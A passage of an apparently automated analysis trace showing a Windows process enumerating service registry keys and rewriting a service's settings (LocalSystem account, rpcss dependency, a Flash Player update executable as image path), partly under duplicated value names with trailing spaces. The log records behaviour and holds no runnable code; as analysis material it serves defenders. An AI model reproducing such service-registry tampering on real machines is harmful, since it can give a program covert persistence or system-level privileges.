lpName="MSDTC") returned 0x0 [0254.943] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0254.943] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0254.944] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0254.944] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0254.944] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0254.944] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0254.944] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0254.944] RegOpenKeyExW (in: hKey=0x148, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0254.944] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0254.944] RegCloseKey (hKey=0x148) returned 0x0 [0254.944] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0254.944] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0254.944] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0254.944] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0254.944] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0254.944] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0254.945] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0254.945] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0254.945] RegCloseKey (hKey=0x80000002) returned 0x0 [0254.945] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0254.945] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0254.945] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0254.945] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0254.945] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0254.945] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0254.945] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0254.945] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0254.945] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0254.946] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0254.946] RegCloseKey (hKey=0x14c) returned 0x0 [0254.946] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0254.946] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0254.946] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0254.946] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0254.946] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0254.946] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0254.946] RegCloseKey (hKey=0x148) returned 0x0 [0254.946] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0254.946] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0254.947] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0254.947] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0254.947] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0254.947] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0254.947] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0254.947] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0254.947] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0254.947] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.947] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.948] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.948] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.948] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.948] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.948] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.948] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.948] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.949] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.949] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.949] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.949] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.949] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.949] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.949] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0254.949] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0254.949] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0254.949] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0254.950] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0254.950] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.950] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.950] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.950] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.950] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.950] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.950] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.950] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.950] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.950] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.950] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.950] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.951] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.951] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.951] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.951] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0254.951] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0254.951] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0254.951] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0254.951] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0254.951] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.951] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.951] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.951] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.952] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.952] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.952] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.952] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.952] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.952] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.952] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.952] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.952] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.952] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.952] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.953] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0254.953] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0254.953] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0254.953] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0254.953] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.953] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.953] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.953] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.953] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.953] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.953] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.953] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.954] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.954] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.954] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.954] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.954] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.954] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.954] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.954] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0254.954] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", cbData=0x40 | out: lpData="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe") returned 0x0 [0254.954] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe" [0254.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0254.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0254.954] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 